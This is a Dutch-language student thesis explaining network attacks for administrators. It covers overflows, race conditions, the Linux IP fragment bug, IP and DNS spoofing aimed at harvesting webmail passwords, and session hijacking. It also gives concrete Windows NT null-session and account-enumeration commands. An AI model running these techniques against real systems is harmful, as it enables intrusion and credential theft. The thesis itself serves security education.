Eigenlijk is dit op een grove manier een mogelijkheid proberen te achterhalen. De naam wordt redelijk algemeen gebruikt. Zowel een gebruiker die een bestand tracht te decrypteren door alle mogelijke combinaties uit te proberen, als een aanvaller die alle verschillende login/paswoord combinaties loslaat op een machine, maken gebruik van "Brute Force Attacks". Bij het login voorbeeld is het noodzakelijk te voorkomen dat men continu kan blijven proberen in te loggen. En aangezien de computers steeds sneller worden, wordt voor een aantal cryptosystemen "brute force" zoeken steeds meer een reële mogelijkheid. Dit geldt zeker wanneer de encrypterende sleutel uit tekst bestaat, en een woord wordt gekozen dat in het woordenboek voorkomt.

 

Figuur: Brute Force Attack

3.3 ``Overflow'':

In tegenstelling tot wat de naam doet vermoeden gaat het hier niet om een probleem met betrekking tot verlies van data (zoals bij modems bijvoorbeeld), maar om de handigheid van de aanvaller om het lopende proces code te doen uitvoeren die hij zelf heeft ingegeven. Hieronder worden een paar meer gedetailleerde voorbeelden gegeven om een idee te krijgen van wat er juist gebeurt.

De meest traditionele methode bestaat erin gegevens door te spelen aan routines die geheugen kopiëren(vb. string copying), waarbij het doorgespeelde gegeven groter is dan het gegeven dat de routine verwacht( zie eerder de Internet worm van Morris). Aangezien dit gegeven groter is gaat, het ook meer plaats innemen in het geheugen dan voorzien is. Hierdoor overschrijft het plaats die gereserveerd is voor andere lokale variabelen en misschien zelfs delen van de instructie stack zelf. Dit laatste kan gebruikt worden om een instructiepointer te plaatsen die verwijst naar de code die men wenst te laten uitvoeren. Deze code is ook meegegeven met de foutieve input. Wanneer nu het proces terugkeert zal het naar de instructiestack kijken en de pointer volgen naar de zelf toegevoerde code om vervolgens deze uit te voeren. (Aleph One 1996).

Dit is niet de enige methode, er zijn ook manieren waarbij men tracht het dynamische geheugen te overschrijven en alzo structures zoals stdio's FILE wijzigt.(Conover 1999).

Een oplossing voor dit probleem is steeds de grootte van de input te controleren (bounds checking), spijtig genoeg is dit niet altijd mogelijk bij de bestaande programmeertalen ( C heeft een speciaal gepatchte compiler nodig) en daarbij komt dat bound checking in real time serieus wat tijd kost.

3.4 ``Race Conditions'':

Misbruik maken van een onzekere tijdelijke toestand tijdens het uitvoeren van een programma, om zodoende toegang te krijgen tot gevoelige gegevens.

Men spreekt van een race conditie wanneer twee of meer operaties in een onzekere toestand terecht komen(McKusick e.a. 1996).

In een bestandssysteem bijvoorbeeld tracht de aanvaller tussen twee samenhorende operaties op een bestand de toestand van het bestand te wijzigen. Dit is mogelijk wanneer de twee operaties niet op een atomaire manier (= operaties kunnen niet onderbroken worden, zelfs niet door een interrupt) worden afgehandeld. Het programma rekent er dan op dat het bestand in de toestand verkeerd waarin het zonet is geplaatst, in werkelijkheid is de aanvaller er in geslaagd het bestand te wijzigen of volledig te vervangen.

Om even wat dieper in te gaan op de materie zullen we eens kijken naar een veiligheidsgaatje dat zich bevond in Solaris 2.x's "ps" toepassing. Bij de aanroep van de toepassing wordt er eerst een tijdelijk bestand aangemaakt om vervolgens de "chown()" systeem aanroep met de volledige padnaam van het bestand te gebruiken om het "ownership" van het bestand te wijzigen naar "root". Dit was eenvoudig te misbruiken door het systeem op het juiste moment te vertragen (overbelasten), het tijdelijke bestand op te sporen, deze te verwijderen en een ander beschrijfbaar bestand in de plaats te zetten. Wanneer nu het bestand op die manier gecreëerd is en door de onveilige toepassing is toegekend aan de root is het voor de aanvaller alleen maar nodig om in het bestand een eenvoudige 'shell" te kopiëren om een "root shell" te bekomen.

Het probleem hier was niet zozeer het feit dat het oorspronkelijke bestand beschrijfbaar was, want dat was hij niet, maar het feit dat hij werd gecreëerd in de tijdelijke map ("/var/tmp" of "/tmp") die wel schrijftoelating verleent. De globale tijdelijke mappen zijn op deze manier gemaakt, anders zijn ze volledig niet bruikbaar. Verder schuilt er ook een adder in het feit dat chown() de volledige padnaam gebruikt in plaats van de "file descriptor" die wordt afgeleverd door open().

Het is toch wel duidelijk dat bestandsnamen niet kunnen gebruikt worden als verwijzing. De bestandsnaam "/tmp/foo" is enkel maar een verwijzing in de map "/tmp", waarbij de mappen speciale bestanden zijn. Aangezien de map naam en/of bestandsnamen kunnen vervangen worden, mag een programma nooit steunen op deze gegevens maar dient het gebruik te maken van de toegangen die het zelf op een unieke manier creëert zoals daar zijn de "file descriptors".

4. IP pakket manipulaties

Internet protocol pakketjes vervalsen, met de bedoeling gegevensverkeer te misleiden, af te luisteren of toegang te krijgen tot beveiligde netwerken.

4.1 Fragment aanvallen:

Hier wordt er misbruik gemaakt van vulnerabilities in de TCP/IP stack kernel implementaties. Om dit probleem een beetje duidelijk voor te stellen, gaan we even kijken naar een kernel implementatie van Linux. Omdat de code van de Linux-kernel vrij is, kunnen we deze hier gebruiken om het probleem te bespreken. Ook andere besturingssystemen kunnen dit probleem hebben, maar daar kunnen we het niet zo duidelijk van zien omdat de bron code daarvan niet vrijgegeven is.

Deze bug situeert zich in de IP fragmentatie module. Meer specifiek in de code die instaat voor het hersamenstellen van de gefragmenteerde stukken. Daarbinnen komt een functie voor die "ipglue()" noemt, het is deze functie die last heeft van beestjes (bug;).

Wanneer Linux de verschillende IP fragmentjes terug samenstelt tot het oorspronkelijke datagram, loopt het in een lus. Gedurende deze lus kopieert het de wachtende rij fragmenten in een nieuwe toegewezen buffer. Deze buffer zou dan normaal gezien op een deftige manier worden doorgegeven aan de IP laag.

Laten we eens kijken naar de code van ip_fragment.c vanaf regel 376:

fp = qp->fragments;

while(fp != NULL)

{

if(count+fp->len > skb->len)

{

error_to_big;

}

memcpy((ptr + fp->offset), fp->ptr, fp->len);

count += fp->len;

fp = fp->next;

}

Uit dit stukje code volgt duidelijk dat er gecontroleerd wordt of het toegekomen fragment niet te groot is. Het voorkomt dus dat de kernel te veel code zou kopiëren. Wat er echter niet gebeurt is controleren op fragmentjes die te klein zijn. Hierdoor kan het zijn dat de kernel verkeerde informatie gaat kopiëren. Er wordt zelfs niet gecontroleerd of fp->len(lengte van het fragment) kleiner is dan nul!! Als resultaat krijgen we dat er veel te veel informatie wordt gekopieerd. (Staar u niet blind op de datastructuren, hetgeen fout gaat situeert zich in de optellingen.) Laten we eens kijken hoe de kernel IP datagrammen toevoegt aan de wachtende rij.

Uit ip_fragment.c op regel 502:

/*

* We proberen er achter te komen welk de positie is van dit fragment.

*/

end = offset + ntohs(iph->tot_len) - ihl;

Nu gaan we eens kijken wat er gebeurt als er fragmentjes afkomen die elkaar overlappen.

Uit ip_fragment.c op regel 531:

/*

* In de originele code staat hier dat men heeft gevonden waar dit

* fragmentje hoort en dat er nu wordt gekeken of er per toeval een

* overlapping is. Zo ja gaat men trachten deze weg te werken.

*/

if (prev != NULL && offset < prev->end)

{

i = prev->end - offset;

offset += i; /* ptr into datagram */

ptr += i; /* ptr into fragment data */

}

Dus wanneer de offset van het huidige fragment binnen het vorige fragment valt, hebben we een overlapping en gaan we deze proberen weg te werken. Klinkt logisch, behalve natuurlijk als de grootte van het huidig pakket niet toereikend genoeg is. Dus eigenlijk als het huidige pakket al volledig voorkomt in het voorgaande. Daar wordt niet op gecontroleerd. Dus de offset wordt groter dan end. Nu worden deze twee waarden (offset en end) doorgegeven aan de functie "ip_frag_create()" waar de lengte van de data binnen dit fragment wordt uitgerekend.

Uit ip_fragment.c op regel 97:

/* Invullen van de ``structure''.*/

fp->offset = offset;

fp->end = end;

fp->len = end - offset; /*!!!!!!!!!!!!!!!!!Tada!!!!!!!!!!!!!!!!!!!!!!!*/

Dit resulteert in een fp->len die negatief is. Hierdoor gaat de "memcpy()", die voorkomt in het eerste stukje code dat we hebben gezien, veel te veel proberen te kopiëren. Met tot gevolg dat het systeem zichzelf gaat "rebooten" of "halten", afhankelijk van de hoeveelheid fysiek geheugen.

Het lijkt misschien een beetje ver gezocht, maar dit geeft een perfect voorbeeld van wat een "hacker" doet. Het woord "hacker" was vroeger een compliment voor een heel goed programmeur, hij die het onderste uit de kan kon halen. De beste "hackers" heden ten dage zijn nog steeds goede "hackers" in de oude zin van het woord. Zij gaan, zoals hier aangetoond, zelfs snuffelen in de broncode van het besturingssysteem om te zien of alle mogelijkheden wel voorzien zijn. Na deze ondervinding met Linux gaan ze zoiets natuurlijk ook eens testen bij Microsoft. En het blijkt ook daar te werken, zowel voor NT als voor 9x.

4.2 ``Port Spoofing'':

Bepaalde vertrouwde bronpoorten gebruiken (bv. 20/53/80/...) om zodoende pakket filters te misleiden. Veronderstel even dat het verboden is op het locale netwerk FTP servers te draaien. Door de configuratie van de FTP server aan te passen en de service aan te bieden op poort 80 kan men nu wel een FTP server opzetten. Het enige dat de cliënt moet doen is, in plaats van de standaard FTP poort 20/21, de client software richten naar poort 80. Op een analoge manier kan een inbreker in het locale netwerk binnen dringen door poorten te gebruiken die door een pakketfilter worden toegelaten.

4.3 ``Tiny fragments'':

Aanvallen met heel kleine pakketjes. De ``ICMP echo request'' (=ping) pakketjes die eerder te spraken kwamen bij ``smurfing'' zijn hier zeer geschikt voor. Een aanvaller zal proberen een groot aantal van deze ping's te voorzien van een heel klein beetje code, bijvoorbeeld telkens 8 bytes, om alzo een beveiligd netwerk binnen te dringen. Een niet al te paranoia ``Firewall'' zal deze aanvragen doorlaten.

4.4 ``Blind IP spoofing'':

De eerste en belangrijkste stap is natuurlijk om te weten te komen welke IP-adressen er als vertrouwd worden beschouwd. Dit kan je te weten komen door bepaalde bestanden te raadplegen op de filterende computer (bijvoorbeeld de ".rhosts"file,...), maar gewoon netwerkverkeer in het oog houden, kan ook al heel veel informatie opleveren. Laten we uitgaan van 3 computers.

X is de computer die men wil "hacken".

V is de computer die door X wordt vertrouwd.

A is de aanvallende computer.

A heeft dus geen enkele relatie ten opzichte van X of V. Hetgeen niet het geval was bij "non-blind spoofing" waar Alfa en Bèta op hetzelfde deelnetwerk zaten. Het verschil hier is dat men de reacties van X naar V niet ziet. A doet zich namelijk ten opzichte van X voor als zijnde V. Dus X gaat reageren naar V toe, maar aangezien V en A niet op hetzelfde deelnetwerk zitten kan A deze pakketjes niet zien.

Dankzij het IP protocol is het toch mogelijk deze pakketjes te zien. Er is namelijk een optie, 'source Routing" genaamd, die het mogelijk maakt voor de zender om een te volgen route te specificeren. De ontvanger gaat dan het antwoord terug sturen in de omgekeerde richting. Het is echter mogelijk, en niet onwaarschijnlijk dat er op de weg een router staat die 'source Routed IP pakketjes" direct verwerp, net omwille van voorgaande.

Dan zijn er nog andere doch moeilijkere manieren om de pakketjes langs te laten komen. Daarvoor dienen er vervormde pakketjes gezonden te worden naar alle routers en gateways die op de weg naar host X liggen. Deze pakketjes moeten er dan voor zorgen dat de routers de reactie van X naar V gaat leiden langs de gewenste weg. Dit is mogelijke aangezien routers en gateways met elkaar kunnen communiceren via een eigen protocol ("RIP", "EGP",...), om met elkaar informatie te uit te wisselen over de staat van de omliggende wegen.

Het is ook noodzakelijk om de verschillende opeenvolgingen van de sequentie nummers te vinden. Daarvoor dient men te weten hoe "host" X zijn sequentie nummers genereert. Algemeen gesproken zijn er 3 manieren waarop dit gebeurt.

  1. De oude 64k regel: Een nog regelmatig gebruikte manier die de SEQ-teller elke seconde verhoogt met een constante, meestal 128k. Wanneer er een connectie wordt aangevat, wordt de SEQ-teller nog eens met 64k verhoogt. Aangezien 1 seconde een zee van tijd is op computer niveau is dit dus heel gemakkelijk te voorspellen.
  2. Generatie op basis van de tijd. Een heel populaire en eenvoudige methode. Het verschil met voorgaande is dat er nu vanaf het opstarten elke x tijdeenheden een verhoging van de SEQ-teller gebeurt. Zo werd op oudere Linux kernels de teller elke microseconde met een verhoogt.
  3. De random generator: Moeilijk te achterhalen, omdat er nu random SEQ-getallen worden gegenereerd. Met tot gevolg dat het niet meer te achterhalen is.

Op basis van 1 en 2 is het mogelijk een verbinding te maken met X. Eerst wordt er voor gezorgd dat V niet kan reageren (SYN-flooding,...) vervolgens wordt er met behulp van hierboven besproken truukjes geprobeerd tot een verbinding te komen met X, Terwijl A zich natuurlijk voordoet als V.

4.5 ``Nameserver ID snoofing'':

Aangezien de aanvragen van en naar een "nameserver" verlopen via UDP, een connectieloze verbinding dus, en een "nameserver" meerdere aanvragen gelijktijdig moet verwerken, is het enige onderscheidingsmiddel dat de DNS ("Dynamic Name Server") heeft tussen de verschillende pakketjes het ID in de pakketjes. Het probleem situeert zich nu in het voorspelbaar zijn van de ID's die gebruikt worden om de verschillende aanvragen te verwerken.

Laten we eens wat dichter gaan kijken naar een echte aanval op de "A records" van een DNS. We hebben een aantal voorbeeld hosts nodig:

LOWIEKE.AANVALLENDNETWERK.ORG: De host vanwaar de aanval wordt gelanceerd. LOWIEKE doet hier niet ter zake, het enige dat belangrijk is, is dat LOWIEKE op het netwerk AANVALLENDNETWERK.ORG zit. Waardoor LOWIEKE in staat is om de ``nameserver'' van AANVALLENDNETWERK.ORG in het oog te houden (``sniffen'').

DNS.AANVALLENDNETWERK.ORG:De "nameserver" van AANVALLENDNETWERK.ORG

DNS.DOELNETWERK.ORG: De "nameserver" die we wensen te voorzien van valse "A records".

WEBMAIL.KAHOSL.be: Het domein dat we graag een ander "A record" zouden toekennen, wanneer DNS.DOELNETWERK.ORG er komt achter vragen.

DNS.KAHOSL.BE: De "nameserver" die controle uitoefent over het domein waartoe WEBMAIL.KAHOSL.BE behoort.

157.193.124.88: Een IP-adres, waarnaar we wensen dat WEBMAIL.KAHOSL.BE verwijst. Als we dan daar een soortgelijk login maken als op WEBMAIL.KAHOSL.BE kunnen we lekker veel gebruikers en hun paswoord te weten komen.

Eerst en vooral dienen we te weten te komen of WEBMAIL.KAHOSL.BE al in DNS.DOELNETWERK.ORG aanwezig is. Daarvoor gaat men met behulp van het programma "dig" vragen aan DNS.DOELNETWERK.ORG of hij WEBMAIL.KAHOSL.BE al kent. Met de optie "norecurse" maken we de "nameserver" duidelijk dat het niet nodig is de naam gaan te zoeken als hij hem niet heeft. Anders is het voor ons niet meer mogelijk een andere "record" te laden.

Indien hij nog niet geladen is, kunnen we verder gaan. Als hij al wel geladen is ook, maar dan duurt het iets langer voor het geheel effectief werkt. De "nameserver" gaat namelijk na een bepaalde tijd, de "Time To Live" (TTL), een record wegsmijten, een kwestie van er voor te zorgen dat er geen oude onnodige gegevens worden bijgehouden. Wij dienen dan alleen onze valse gegevens al in de wachtrij te zetten, van zo gauw de goede zijn uitgestorven, komen dan onze valse aan de beurt.

We beginnen nu met te luisteren naar de DNS van ons AANVALLEND.ORG en sturen vervolgens een aanvraag voor een niet bestaande host (vb. BARTJE.AANVALLEND.ORG) naar DNS.DOELNETWERK.ORG. Hierdoor gaat DNS.DOELNETWERK.ORG uiteindelijk bij onze "nameserver" terechtkomen, waardoor wij in staat zijn om het ID van het betreffende pakketje te achterhalen.

Aangezien de meeste "nameservers" meestal gewoon hun ID telkens met 1 verhogen als er een andere aanvraag komt, hebben we een goed idee wat het volgende ID gaat zijn. Dus gaan we nu een aanvraag sturen naar DNS.DOELNETWERK.ORG, om ons het adres te geven van WEBMAIL.KAHOSL.BE.

Omdat we hem nu wel de toestemming geven om verder te vragen naar het juiste adres, gaat hij de vraag doorschuiven naar DNS.KAHOSL.BE. Als wij nu vervalste pakketjes beginnen te sturen naar DNS.DOELNETWERK.ORG die lijken te komen van DNS.KAHOSL.BE, met telkens een ID dat 1 hoger is, is er veel kans dat we in de cache van de "nameserver" van DNS.DOELNETWERK.ORG terechtkomen. Als dat lukt gaat elke aanvraag van DOELNETWERK.ORG voor WEBMAIL.KAHOSL.BE doorverwezen worden naar 157.193.124.88.

4.6 ``Remote Session Hijacking'':

Onze netwerk configuratie blijft behouden (Alfa, Bèta, Honderd) en er is bijvoorbeeld een lopende Telnet verbinding tussen Alfa en Honderd. Veronderstel nu dat men er in slaagt om de SEQ/ACK's van Alfa een beetje overhoop te halen, dan gaat Honderd Alfa niet meer geloven. Als men dan ook nog weet wat Honderd eigenlijk van Alfa verwachtte,met betrekking tot SEQ en ACK, is het mogelijk de verbinding verder te zetten met Honderd, maar dan vanaf Bèta. Het is duidelijk wat hiervan de gevolgen zijn indien Alfa Honderd van op afstand aan het configureren is, wanneer een uitwisseling gebeurt van 'secure Keys" of eenmalige paswoorden.

Hoe dit juist gedaan wordt laten we even achterwegen. Het komt er op neer dat het mogelijk is om uit een pakket dat afkomstig is van Alfa, te bepalen wat het sequentie nummer is van het volgende pakket dat Alfa gaat versturen. Het eerste pakket dat we onderschepten van Alfa naar Honderd bevat een SEQ/ACK combinatie. Uit de gegevens die gekend zijn over de lopende connectie is het mogelijk de volgende SEQ nummer te bepalen die Alfa gaat gebruiken. Wanneer nu een pakket toekomt bij Honderd van Bèta, die doet of hij Alfa is, met een andere, mogelijke ACK. Zal Honderd hieraan zijn ACK's aanpassen, de connectie verder zetten met de valse Alfa en alle pakketten van de echte Alfa afdoen als ongeldig.

Dit is nog maar een begin van de mogelijkheden die er zijn op het gebied van Non Blind Spoofing. Een beetje C programmeur met een deftige kennis van TCP/IP of andere protocollen zal zich uren kunnen uitleven op het lokale netwerk.

2 Methodes

Algemene inleiding.

In dit tweede deel worden een aantal methodes besproken. Met methodes bedoelen we de opeenvolging van handelingen die een aanvaller gebruikt om binnen te raken. Het zijn algemeen gekende aanvallen die hier besproken worden en voor de meeste bestaat ook al een beveiligingsoplossing.

In het eerste en derde onderdeel van dit tweede deel bekijken we aanvallen op specifiek Microsoft producten, namelijk Windows NT en IIS. Om het evenwicht te bewaren werd in het tweede onderdeel ook een kort overzicht gegeven over UNIX. Niet dat het de bedoeling was Microsoft in een negatief daglicht te stellen. Deze producten kwamen enkel goed overeen met het doel van het eindwerk.

5. Illegale toegang verschaffen tot Windows NT via het netwerk.

5.1 Inleiding.

Dit onderdeel leek noodzakelijk omdat het schoolnetwerk voor 99% procent bestaat uit computers die trachten hun diensten aan te bieden met behulp van het Microsoft NT besturingssysteem. Het leek ook verstandig om dit deel toe te voegen, aangezien het weergeeft hoe een hacker eigenlijk te werk gaat. Het is zeker niet volledig, maar binnen het gebied van het eindwerk geeft het een goed idee van hoe een netwerkbeheerder moet leren denken, wil hij de stouteriken voor blijven.

Mag ik u vriendelijk vragen dit document enkel te gebruiken om uw eigen systeem en netwerk te beveiligen en het niet te gebruiken om andere mensen het leven zuur te maken.

5.2 Informatie inzamelen en binnendringen.

5.2.1 Inleiding.

Eerst dient een inbreker te weten welke deuren er allemaal openstaan op de doelcomputer. Hij zou natuurlijk ook graag weten welk besturingssysteem dat er gebruikt wordt. Om te weten te komen welke deuren (``ports'') er allemaal open staan bestaan er ``portscanners''. Portscanners zijn programma's die binnen een bepaald bereik gaan kijken welke services er allemaal draaien. Zoals we eerder in deel 1 al gezien hebben, gebruiken services bepaalde poorten om met elkaar te communiceren. Iedereen weet ondertussen al dat HTTP gebruik maakt van poort 80. Wat bedoeld men daar nu mee? Wel als er een IP pakketje toekomt, gaat de computer kijken voor welke hogerliggende laag, binnen het OSI-model, het pakketje is. De hogerliggende laag kan bijvoorbeeld TCP of UDP zijn, twee controle protocollen die waken over IP. Deze laag gaat dan kijken naar het poort nummer dat vermeld staat binnen het pakketje om te weten voor welke service, een nog hogere laag, het pakketje is. Het poort nummer dient dus gewoon om een onderscheid te maken tussen de verschillende services. Door nu naar alle poorten, binnen het opgegeven bereik, een pakketje te sturen om een verbinding te initialiseren, weet de scanner, op basis van de reacties, welke services er draaien op de andere computer. Tegenwoordig zijn er zelfs al scanners die uit de verkregen gegevens kunnen achterhalen welk besturingssysteem er draait (dit noemt men "fingerprinting"). Gedurende de analyse is gebleken dat "nmap" (http://www.insecure.org/nmap) momenteel de meest krachtige en flexibele scanner is op dit gebied.

5.2.2 ``Nbtstat''.

Wanneer nu de portscanner ons meedeelt dat poort 139 openstaat, weten we dat NetBIOS als service draait op de computer, en kunnen we de computer met behulp van het NBTSTAT commando gaan ondervragen. NBTSTAT geeft ons zelfs de mogelijkheid om de NetBIOS cache te wissen en de computer te verplichten zijn LMHOSTS bestand te laden. Voor alle mogelijkheden van NBTSTAT verwijzen we graag naar de help functie van Windows. Laten we eens even kijken naar een mogelijke test met NBTSTAT.

C:\>nbtstat -A astrid

NetBIOS Remote Machine NameTable

Name Type Status

-----------------------

ASTRID <00> UNIQUE Registered

astr0338 <00> GROUP Registered

ASTRID <20> UNIQUE Registered

ASTRID <03> UNIQUE Registered

GHOST <03> UNIQUE Registered

ASTRID <01> UNIQUE Registered

MAC Adress XX-XX-XX-XX-XX-XX

Wat zegt Microsoft over deze gegevens?

Name Number Type Usage

======================================

00 U Workstation Service

01 U Messenger Service <\\_MSBROWSE_>

01 G Master Browser

03 U Messenger Service

06 U RAS Server Service

1F U NetDDE Service

20 U File Server Service

21 U RAS Client Service

22 U Exchange Interchange

23 U Exchange Store

24 U Exchange Directory

30 U Modem Sharing Server Service

31 U Modem Sharing Client Service

43 U SMS Client Remote Control

44 U SMS Admin Remote Control Tool

45 U SMS Client Remote Chat

46 U SMS Client Remote Transfer

4C U DEC Pathworks TCPIP Service

52 U DEC Pathworks TCPIP Service

87 U Exchange MTA

6A U Exchange IMC

BE U Network Monitor Agent

BF U Network Monitor Apps

03 U Messenger Service

00 G Domain Name

1B U Domain Master Browser

1C G Domain Controllers

1D U Master Browser

1E G Browser Service Elections

1C G Internet Information Server

00 U Internet Information Server

[2B] U Lotus Notes Server IRISMULTICAST

[2F] G Lotus Notes IRISNAMESERVER

[33] G Lotus Notes Forte_$ND800ZA

[20] U DCA Irmalan Gateway Service

Unique(U):

Dit wil zeggen dat aan de naam slechts 1 IP adres mag toegekend worden. Binnen het netwerk kan het lijken of een bepaalde naam toch meerdere malen voorkomt. Dit komt door de structuur van de NetBIOS naamgeving. Elke netwerk interface heeft een naam van 15 bytes. Een 16e byte wordt gebruikt om een bepaalde service aan te duiden. Dus UNIQUE betekent hier dat deze naam toegekend is aan een netwerkinterface.

Group(G):

Deze naam geeft een groep van gebruikers weer, en mag dus geassocieerd worden met meerdere IP adressen.

Multihomed(M):

Betekent dat de naam uniek is, maar omwille van meerdere netwerkinterfaces in dezelfde computer, is deze configuratie noodzakelijk om registratie toe te laten.

InternetGroup(I):

Speciale configuratie van een groepsnaam gebruikt om Windows NT domein namen te regelen.

DomainName(D):

Nieuw in NT 4.0.

Bovenstaand lijstje en de gegevens van nbtstat geven de aanvaller een mogelijkheid om informatie in te winnen met betrekking tot de computer. Op basis van deze informatie kan de aanvaller zeggen welke diensten de computer aanbiedt en soms zelfs welke software pakketten er op draaien. Aangezien elke dienst en elk pakket meestal zijn setje van vulnerabilities meebrengt, is dit dus cruciale informatie voor de indringer.

5.2.3 De ``SID tools''.

De volgende stap is trachten een aantal gebruikersnamen te weten te komen. Aangezien een login-sessie bestaat uit een gebruikersnaam en paswoord geeft een lijstje van gebruikers een goede stap in de richting. Als we even terug gaan kijken naar de gegevens die nbtstat opleverde dan zien we daartussen namen voorzien van <03>. Dit zijn ofwel gebruikersnamen ofwel computernamen.

Het is ook mogelijk een idee te krijgen van gebruikersnamen met behulp van null sessies richting IPC en dan gebruik te maken van de SID tools. De ``IPC$ (Inter-Process Communication) share'' is een standaard verborgen gedeeld deel (=''share'') op een NT computer, dat hoofdzakelijk gebruikt wordt voor server tot server communicatie. NT computers zijn ontworpen om met elkaar te connecteren en noodzakelijke informatie langs deze weg met elkaar uit te wisselen. Als de indringer nu een verbinding kan leggen met deze IPC$ share, door gebruik te maken van een null sessie kan hij dit doen zonder enige vorm van login controle.

Om deze null sessie tot stand te brengen op de IPC$ share hoeft men enkel volgend commando in te geven.

C:\>net use \\IP-adres\ipc$ "" /user:""

Wanneer dit lukt, en dat is dikwijls het geval, kan de indringer meer doen dan alleen maar naar de gebruikersnamen op de computer kijken. Maar laten we daar eerst maar eens mee beginnen.

De SID tools zijn geschreven door Evgenii Rudnyi en bestaan uit 2 delen, namelijk user2sid en sid2user. Waarbij user2sid dient om een gebruikersnaam of groepsnaam om te zetten naar de bijbehorende SID, en sid2user dient om een gevonden SID om te zetten naar de gebruikers- of groepsnaam waar hij voor staat. Deze tools zijn manueel aan te sturen en redelijk traag, maar er bestaat ook een perl script, geschreven door Mnemonix, dat het proces een beetje automatiseert. Hieronder een voorbeeld van hoe het SID programma eigenlijk werkt. De gegevens zijn afkomstig uit een document dat zich bij het programma bevindt. De User2Sid en Sid2user programma's maken gebruik van de LookupAccountName en de LookupAccountSid WIN32 functies. Deze functies dienen uitgevoerd te worden door een gebruiker met everyone acces. Dit laatste bekomen we door de LMHOSTS/IPC combinatie.

c:\user2sid "domain users"

Geeft ons het Sid van de standaard ingebouwde globale groep "Domain Users":

S-1-5-21-201642981-56263093-24269216-513

Aangezien alle domein accounts enkel van elkaar verschillen wat betreft het laatste getal, het RID=513, kennen we nu alle mogelijke account nummers.

c:\sid2user 5-21-201642981-56263093-24269216-500

Het RID van de standaard ingebouwde beheerder is 500. Dus deze vraag gaat ons de gegevens opleveren met betrekking tot dat account:

Name is SmallUser

Domain is DomainName

Type of SID is SidTypeUser

Maar we kunnen nu ook verder vragen met betrekking tot alle andere accounts die er binnen het domein heersen. Standaard is het RID voor de eerste aangemaakte gebruiker 1000 en dit RID verhoogt telkens met 1 voor elke nieuwe gebruiker. Als een gebruikersaccount verdwijnt, blijft het RID behouden. Het wordt nooit opnieuw gebruikt binnen dezelfde installatie.

c:\sid2user 5-21-201642981-56263093-24269216-1000

c:\sid2user 5 21 201642981 56263093 24269216 1001

...

Hieronder nog een lijstje van de standaard NT SID's:

Built-In Global Groups

Special Groups

Om even samen te vatten, op dit moment heeft de indringer dus al een goed idee van de verschillende services die er lopen op de computer. Daardoor heeft hij waarschijnlijk ook al een idee van een aantal software pakketten, met de bijbehorende vulnerabilities en nu heeft hij ook al een lijstje met gebruikers en groepen van de betreffende computer. Dit is al een serieuze boterham, maar de null sessie richting IPC$ share zal nog andere gegevens blootleggen.

5.2.4 ``Net view''.

Om te kijken welke shares er aanwezig zijn op een computer wordt het standaard commando "net view" gebruikt.

C:\>net view \\IP adres

Afhankelijk van de beveiliging van de computer die men wenst aan te vallen, zal al dan niet de beschikbare lijst van gedeelde mappen worden weergegeven. Kijken we eens even naar enkele tests.

C:>net view \\157.193.124.111

System error 5 has occured.

Acces denied.

Maar wat wanneer we het volgende ingeven?

c:> net use \\157.193.124.111\ipc$ "" /user:""

The command completed successfully.

C:\>net view \\157.193.124.111

Shared resources at \\157.193.124.111

Sharename Type Used as Comment

-----------------------------------

Inetpub Disk

mirc Disk

NETLOGON Disk

Logon server share

The command completed successfully.

Het wordt al stilaan duidelijk hoe krachtig de IPC$ share is voor aanvallers om binnen te raken op een NT systeem. Momenteel is er nog niet zoveel gekend over deze IPC$, het kan best dat er binnenkort veel krachtigere programma's circuleren op Internet die hiervan misbruik maken.

5.2.5 De Windows NT 4.0 Resource Kit.

Deze verzameling van programma's, die door Microsoft op de markt is gebracht om het leven van de systeem administrator een beetje leefbaarder te maken, is natuurlijk ook een welkom hulpmiddel voor inbrekers. Om te begrijpen wat er juist allemaal aan voorafgaat is het best eerst even een kijk te nemen naar het LMHOSTS bestand en zijn functies.

Het LMHOSTS bestand is een lokaal bewaard bestandje dat Windows gebruikt op computers die niet in een WINS omgeving zitten of die geen gebruik kunnen maken van WINS. Er zijn verschillende manieren om het LMHOSTS bestand te gebruiken, enkele zullen verder in de tekst nog opduiken. Nu gaan we even een manier bekijken die de volgende commando's voorafgaat. We vertrekken weer van de gegevens die we verkregen hadden met NBTSTAT.

Als we even terug gaan kijken naar de "NetBIOS Remote Machine Name Table", zien we dat er twee keer <03> voorkomt in de tabel. Normaal gezien is de eerste <03> de NetBIOS naam van de computer, en als er een tweede <03> voorkomt, dan is dat de gebruikersnaam van iemand die op dat ogenblik ingelogd is. Met deze gegevens gaat de aanvaller zijn eigen LMHOSTS bestand aanpassen, door deze NetBIOS naam met het bijbehorende IP adres toe te voegen met op het einde de #PRE en #DOM vermelding. #PRE geeft aan dat deze gegevens dienen geladen te worden in de cache bij initialisatie en #DOM duidt op domein activiteit. Vervolgens zorgt de aanvaller ervoor dat het laden in de cache gebeurt, met behulp van het nbtstat -R commando. Hierdoor zit de NetBIOS naam van de doel computer al in de cache net alsof hij eerder al eens achterhaalt was. Dit heeft tot gevolg dat de mapping van IP naar NetBIOSnaam veel sneller kan verlopen. Vervolgens gaat de aanvaller de null sessie starten zoals die hierboven reeds werd besproken.

5.2.5.1 USERSTAT.

Dit commando geeft de gegevens van alle gebruikers binnen een gegeven domein. Na eerst het LMHOSTS bestand aangepast te hebben en de handelingen gedaan te hebben die hierboven zijn beschreven, volgt:

C:\ NTRESKIT>usrstat ASTRID #Astrid is hier de domeinnaam

Users at \\ASTRID

Administrator - - logon: Tue MAY 2 06:15:32 2000 #Beheerdersaccount +login gegevens

Guest - - logon: Mon MAY 1 18:21:06 2000

IUSR_ASTRID - Internet Guest Account - logon: Mon MAY 1 18:00:33 2000

IWAM_ASTRID - Web Application Manager account - logon: Never

laruellle - - logon: Never

Alle gegevens van de gebruikers, hun login naam en het tijdstip dat ze laatst zijn ingelogd worden weergegeven.

5.2.5.2 GLOBAL.

Dit commando geeft alle leden weer van globale groepen. Zoals eerder besproken dient dit commando ook weer in combinatie met de LMHOSTS en IPC$null aanpassingen te gebeuren. Even een voorbeeld:

c:\>global "Domain Users" ASTRID

Bij dit commando werd als optie "Domain Users" meegegeven. Dit is een standaard, reeds aangemaakte globale groep binnen een Windows NT domein. Veel kans dat deze groep nog steeds wordt gebruikt.

5.2.5.3 LOCAL.

Soortgelijk commando als global, alleen nu wordt er gevraagd naar de leden van een lokale groep in plaats van een globale. Zo kan men met onderstaand commando navraag doen naar een groep van beheerders in het domein ASTRID.

C:\>local "administrators" ASTRID

5.2.5.4 NETDOM.

